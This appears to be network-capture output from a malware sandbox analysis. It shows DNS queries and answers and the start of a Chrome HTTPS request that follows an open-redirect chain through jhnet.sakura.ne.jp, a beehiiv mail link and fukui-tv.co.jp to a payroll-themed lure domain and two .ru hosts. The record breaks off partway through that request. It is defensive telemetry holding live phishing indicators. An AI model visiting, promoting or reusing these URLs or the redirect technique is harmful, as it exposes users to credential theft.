Feb 14, 2025 17:22:52.966315985 CET	49250	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.966485023 CET	57604	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:52.973391056 CET	53	57604	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:53.137207031 CET	53	51229	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:53.256196976 CET	53	49250	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:55.489733934 CET	53200	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:55.489842892 CET	50054	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:55.497567892 CET	53	53200	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:55.498645067 CET	53	50054	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:56.203656912 CET	62971	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:56.203762054 CET	52407	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:56.947227955 CET	64061	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:56.948023081 CET	56082	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:56.956532955 CET	53	64061	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:56.957990885 CET	53	56082	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:57.224263906 CET	57654	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:57.224325895 CET	61072	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:22:57.443600893 CET	53	52407	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:58.273200989 CET	53	62971	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:58.722486019 CET	53	61072	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:59.028218031 CET	53	57654	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:00.028920889 CET	62191	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:00.028920889 CET	56105	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:00.051167011 CET	53	62191	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:00.062889099 CET	53	56105	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.528767109 CET	54011	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.528981924 CET	53024	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.531774044 CET	61536	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.531966925 CET	63430	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.532351017 CET	56690	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.532488108 CET	53057	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:01.535851002 CET	53	54011	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.536042929 CET	53	53024	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.538608074 CET	53	61536	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.538621902 CET	53	63430	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.538903952 CET	53	56690	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:01.540709019 CET	53	53057	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:02.253262997 CET	53208	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:02.253307104 CET	56073	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:02.260299921 CET	53	56073	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:02.260315895 CET	53	53208	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:02.304702044 CET	51851	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:02.304702044 CET	64999	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:02.312199116 CET	53	64999	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:02.314363003 CET	53	51851	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.016208887 CET	53980	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.016407013 CET	57376	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.023304939 CET	53	53980	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.023475885 CET	53	57376	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.178416967 CET	62041	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.178642988 CET	57406	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.188275099 CET	53	62041	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.190207005 CET	53	57406	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.938175917 CET	62729	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.938373089 CET	61273	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:03.945748091 CET	53	62729	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:03.945875883 CET	53	61273	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:10.101528883 CET	53	60218	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:28.084455013 CET	62295	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:28.084604025 CET	64418	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:28.134884119 CET	53	62295	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:28.138904095 CET	53	64418	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:29.622212887 CET	53	58541	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:29.924021006 CET	60916	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:29.924400091 CET	54703	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:23:29.930612087 CET	53	55023	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:29.973546028 CET	53	60916	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:30.009550095 CET	53	54703	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:49.076004982 CET	138	138	192.168.2.16	192.168.2.255
Feb 14, 2025 17:23:52.119755030 CET	53	59683	1.1.1.1	192.168.2.16
Feb 14, 2025 17:23:53.012039900 CET	53	51094	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:09.230133057 CET	65295	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:09.230343103 CET	60691	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:09.325531006 CET	53	65295	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:09.357315063 CET	53	60691	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:10.944926023 CET	61520	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:10.945106030 CET	62145	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:10.960185051 CET	53	62145	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:10.999192953 CET	53	61520	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:24.120531082 CET	53	60513	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:57.074023008 CET	59743	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:57.074023008 CET	55642	53	192.168.2.16	1.1.1.1
Feb 14, 2025 17:24:57.080811024 CET	53	55642	1.1.1.1	192.168.2.16
Feb 14, 2025 17:24:57.080974102 CET	53	59743	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 14, 2025 17:22:58.722620010 CET	192.168.2.16	1.1.1.1	c276	(Port unreachable)	Destination Unreachable
Feb 14, 2025 17:23:00.062975883 CET	192.168.2.16	1.1.1.1	c2ae	(Port unreachable)	Destination Unreachable
Feb 14, 2025 17:23:30.009785891 CET	192.168.2.16	1.1.1.1	c2eb	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 14, 2025 17:22:52.966315985 CET	192.168.2.16	1.1.1.1	0xf816	Standard query (0)	jhnet.sakura.ne.jp	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:52.966485023 CET	192.168.2.16	1.1.1.1	0x20d8	Standard query (0)	jhnet.sakura.ne.jp	65	IN (0x0001)	false
Feb 14, 2025 17:22:55.489733934 CET	192.168.2.16	1.1.1.1	0xc11d	Standard query (0)	link.mail.beehiiv.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:55.489842892 CET	192.168.2.16	1.1.1.1	0x5bf5	Standard query (0)	link.mail.beehiiv.com	65	IN (0x0001)	false
Feb 14, 2025 17:22:56.203656912 CET	192.168.2.16	1.1.1.1	0x71f3	Standard query (0)	www.fukui-tv.co.jp	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:56.203762054 CET	192.168.2.16	1.1.1.1	0xa9db	Standard query (0)	www.fukui-tv.co.jp	65	IN (0x0001)	false
Feb 14, 2025 17:22:56.947227955 CET	192.168.2.16	1.1.1.1	0x7025	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:56.948023081 CET	192.168.2.16	1.1.1.1	0xded	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 14, 2025 17:22:57.224263906 CET	192.168.2.16	1.1.1.1	0x6592	Standard query (0)	www.fukui-tv.co.jp	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:57.224325895 CET	192.168.2.16	1.1.1.1	0xdbe	Standard query (0)	www.fukui-tv.co.jp	65	IN (0x0001)	false
Feb 14, 2025 17:23:00.028920889 CET	192.168.2.16	1.1.1.1	0xff68	Standard query (0)	payrollfaxdocs-shared-employid6237262721.deliberate9.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:00.028920889 CET	192.168.2.16	1.1.1.1	0x5d93	Standard query (0)	payrollfaxdocs-shared-employid6237262721.deliberate9.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:01.528767109 CET	192.168.2.16	1.1.1.1	0xf670	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.528981924 CET	192.168.2.16	1.1.1.1	0xf596	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:01.531774044 CET	192.168.2.16	1.1.1.1	0xa1d5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.531966925 CET	192.168.2.16	1.1.1.1	0xe98b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:01.532351017 CET	192.168.2.16	1.1.1.1	0x71ed	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.532488108 CET	192.168.2.16	1.1.1.1	0xff1d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:02.253262997 CET	192.168.2.16	1.1.1.1	0xa4c3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.253307104 CET	192.168.2.16	1.1.1.1	0xd340	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:02.304702044 CET	192.168.2.16	1.1.1.1	0xd07b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.304702044 CET	192.168.2.16	1.1.1.1	0xc32b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:03.016208887 CET	192.168.2.16	1.1.1.1	0x6c93	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.016407013 CET	192.168.2.16	1.1.1.1	0xda49	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:03.178416967 CET	192.168.2.16	1.1.1.1	0xc71d	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.178642988 CET	192.168.2.16	1.1.1.1	0xdbc4	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:03.938175917 CET	192.168.2.16	1.1.1.1	0xbe36	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.938373089 CET	192.168.2.16	1.1.1.1	0x52ce	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 14, 2025 17:23:28.084455013 CET	192.168.2.16	1.1.1.1	0x5f22	Standard query (0)	d8fc.ntonteral.ru	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.084604025 CET	192.168.2.16	1.1.1.1	0x379f	Standard query (0)	d8fc.ntonteral.ru	65	IN (0x0001)	false
Feb 14, 2025 17:23:29.924021006 CET	192.168.2.16	1.1.1.1	0xc383	Standard query (0)	d8fc.ntonteral.ru	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.924400091 CET	192.168.2.16	1.1.1.1	0x530c	Standard query (0)	d8fc.ntonteral.ru	65	IN (0x0001)	false
Feb 14, 2025 17:24:09.230133057 CET	192.168.2.16	1.1.1.1	0x4ace	Standard query (0)	d7fa.revishbos.ru	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:09.230343103 CET	192.168.2.16	1.1.1.1	0x962c	Standard query (0)	d7fa.revishbos.ru	65	IN (0x0001)	false
Feb 14, 2025 17:24:10.944926023 CET	192.168.2.16	1.1.1.1	0xab5a	Standard query (0)	d7fa.revishbos.ru	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:10.945106030 CET	192.168.2.16	1.1.1.1	0x4701	Standard query (0)	d7fa.revishbos.ru	65	IN (0x0001)	false
Feb 14, 2025 17:24:57.074023008 CET	192.168.2.16	1.1.1.1	0x55d8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:57.074023008 CET	192.168.2.16	1.1.1.1	0xedf2	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 14, 2025 17:22:53.256196976 CET	1.1.1.1	192.168.2.16	0xf816	No error (0)	jhnet.sakura.ne.jp		49.212.198.92	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:55.497567892 CET	1.1.1.1	192.168.2.16	0xc11d	No error (0)	link.mail.beehiiv.com		104.18.68.40	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:55.497567892 CET	1.1.1.1	192.168.2.16	0xc11d	No error (0)	link.mail.beehiiv.com		104.18.69.40	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:55.498645067 CET	1.1.1.1	192.168.2.16	0x5bf5	No error (0)	link.mail.beehiiv.com			65	IN (0x0001)	false
Feb 14, 2025 17:22:56.956532955 CET	1.1.1.1	192.168.2.16	0x7025	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:56.957990885 CET	1.1.1.1	192.168.2.16	0xded	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 14, 2025 17:22:57.443600893 CET	1.1.1.1	192.168.2.16	0xa9db	No error (0)	www.fukui-tv.co.jp	d17o6h1lfdzdyb.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 14, 2025 17:22:58.273200989 CET	1.1.1.1	192.168.2.16	0x71f3	No error (0)	www.fukui-tv.co.jp	d17o6h1lfdzdyb.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 14, 2025 17:22:58.273200989 CET	1.1.1.1	192.168.2.16	0x71f3	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.47	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:58.273200989 CET	1.1.1.1	192.168.2.16	0x71f3	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.58	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:58.273200989 CET	1.1.1.1	192.168.2.16	0x71f3	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.78	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:58.273200989 CET	1.1.1.1	192.168.2.16	0x71f3	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.28	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:58.722486019 CET	1.1.1.1	192.168.2.16	0xdbe	No error (0)	www.fukui-tv.co.jp	d17o6h1lfdzdyb.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 14, 2025 17:22:59.028218031 CET	1.1.1.1	192.168.2.16	0x6592	No error (0)	www.fukui-tv.co.jp	d17o6h1lfdzdyb.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 14, 2025 17:22:59.028218031 CET	1.1.1.1	192.168.2.16	0x6592	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.58	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:59.028218031 CET	1.1.1.1	192.168.2.16	0x6592	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.78	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:59.028218031 CET	1.1.1.1	192.168.2.16	0x6592	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.47	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:22:59.028218031 CET	1.1.1.1	192.168.2.16	0x6592	No error (0)	d17o6h1lfdzdyb.cloudfront.net		3.160.150.28	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:00.051167011 CET	1.1.1.1	192.168.2.16	0xff68	No error (0)	payrollfaxdocs-shared-employid6237262721.deliberate9.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:00.051167011 CET	1.1.1.1	192.168.2.16	0xff68	No error (0)	payrollfaxdocs-shared-employid6237262721.deliberate9.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:00.062889099 CET	1.1.1.1	192.168.2.16	0x5d93	No error (0)	payrollfaxdocs-shared-employid6237262721.deliberate9.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:01.535851002 CET	1.1.1.1	192.168.2.16	0xf670	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.535851002 CET	1.1.1.1	192.168.2.16	0xf670	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.535851002 CET	1.1.1.1	192.168.2.16	0xf670	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.535851002 CET	1.1.1.1	192.168.2.16	0xf670	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.538608074 CET	1.1.1.1	192.168.2.16	0xa1d5	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.538608074 CET	1.1.1.1	192.168.2.16	0xa1d5	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.538621902 CET	1.1.1.1	192.168.2.16	0xe98b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:01.538903952 CET	1.1.1.1	192.168.2.16	0x71ed	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.538903952 CET	1.1.1.1	192.168.2.16	0x71ed	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:01.540709019 CET	1.1.1.1	192.168.2.16	0xff1d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:02.260299921 CET	1.1.1.1	192.168.2.16	0xd340	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:02.260315895 CET	1.1.1.1	192.168.2.16	0xa4c3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.260315895 CET	1.1.1.1	192.168.2.16	0xa4c3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.314363003 CET	1.1.1.1	192.168.2.16	0xd07b	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.314363003 CET	1.1.1.1	192.168.2.16	0xd07b	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.314363003 CET	1.1.1.1	192.168.2.16	0xd07b	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:02.314363003 CET	1.1.1.1	192.168.2.16	0xd07b	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.023304939 CET	1.1.1.1	192.168.2.16	0x6c93	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.023304939 CET	1.1.1.1	192.168.2.16	0x6c93	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.023475885 CET	1.1.1.1	192.168.2.16	0xda49	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:03.188275099 CET	1.1.1.1	192.168.2.16	0xc71d	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.188275099 CET	1.1.1.1	192.168.2.16	0xc71d	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.188275099 CET	1.1.1.1	192.168.2.16	0xc71d	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.188275099 CET	1.1.1.1	192.168.2.16	0xc71d	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.188275099 CET	1.1.1.1	192.168.2.16	0xc71d	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.190207005 CET	1.1.1.1	192.168.2.16	0xdbc4	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:03.945748091 CET	1.1.1.1	192.168.2.16	0xbe36	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.945748091 CET	1.1.1.1	192.168.2.16	0xbe36	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.945748091 CET	1.1.1.1	192.168.2.16	0xbe36	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.945748091 CET	1.1.1.1	192.168.2.16	0xbe36	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.945748091 CET	1.1.1.1	192.168.2.16	0xbe36	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:03.945875883 CET	1.1.1.1	192.168.2.16	0x52ce	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.134884119 CET	1.1.1.1	192.168.2.16	0x5f22	No error (0)	d8fc.ntonteral.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:28.138904095 CET	1.1.1.1	192.168.2.16	0x379f	No error (0)	d8fc.ntonteral.ru			65	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:29.973546028 CET	1.1.1.1	192.168.2.16	0xc383	No error (0)	d8fc.ntonteral.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:23:30.009550095 CET	1.1.1.1	192.168.2.16	0x530c	No error (0)	d8fc.ntonteral.ru			65	IN (0x0001)	false
Feb 14, 2025 17:24:09.325531006 CET	1.1.1.1	192.168.2.16	0x4ace	No error (0)	d7fa.revishbos.ru		172.67.186.200	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:09.325531006 CET	1.1.1.1	192.168.2.16	0x4ace	No error (0)	d7fa.revishbos.ru		104.21.2.8	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:09.357315063 CET	1.1.1.1	192.168.2.16	0x962c	No error (0)	d7fa.revishbos.ru			65	IN (0x0001)	false
Feb 14, 2025 17:24:10.960185051 CET	1.1.1.1	192.168.2.16	0x4701	No error (0)	d7fa.revishbos.ru			65	IN (0x0001)	false
Feb 14, 2025 17:24:10.999192953 CET	1.1.1.1	192.168.2.16	0xab5a	No error (0)	d7fa.revishbos.ru		172.67.186.200	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:10.999192953 CET	1.1.1.1	192.168.2.16	0xab5a	No error (0)	d7fa.revishbos.ru		104.21.2.8	A (IP address)	IN (0x0001)	false
Feb 14, 2025 17:24:57.080811024 CET	1.1.1.1	192.168.2.16	0xedf2	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 14, 2025 17:24:57.080974102 CET	1.1.1.1	192.168.2.16	0x55d8	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jhnet.sakura.ne.jp

link.mail.beehiiv.com

www.fukui-tv.co.jp

payrollfaxdocs-shared-employid6237262721.deliberate9.com

https:

code.jquery.com

cdnjs.cloudflare.com

challenges.cloudflare.com

developers.cloudflare.com

d8fc.ntonteral.ru

d7fa.revishbos.ru

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49716	49.212.198.92	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:22:54 UTC	1232	OUT	GET /tentatively/cc/cc_jump.cgi?id=1534465659&url=https://link.mail.beehiiv.com/ss/c/u001.sdS3eWpjudN7fTp69IC9XT9OcVa73zYzUt9rrLynJmz9ZSXn9AUNAdWutA-C4dbkhVsDUD7yhN57lRXcC-TIt8sTXcmHELzrA8y2fhJ9nhkhaLvELdLDgZl22dVdGdS4yaUnpbz3JlwFPYwvh4KXF_qMWhefWBWupvWJ_DcA9-pvp-kTopZ2TcvvkdGdr5EBuxrp3NlLlwHHBBZIqb4I5fnt2gQudwwAxO4djd0uO8ppKz92X-rX7mtbGeu8yn8iuUR8p-gT77qPaNKFDkWZimosXxmW_GwxI4v99POqbQQlypjVRYjLgTWLmFGzwqBP69FgmYZ_789Wo7zpzwyNqnUyvnTqzWq1R7oel-VhDC3Oc_GI9gdfn9DnOvDuzI7D8wENPzNHEI6BLLrTzm-jVw/4ds/H90D6rggQ2uWp8c3ti8u1w/h11/h001.HSj78OBZ0DjeE1IKQy2351fOYStVYg0ibjpURBvbJFA HTTP/1.1 Host: jhnet.sakura.ne.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: 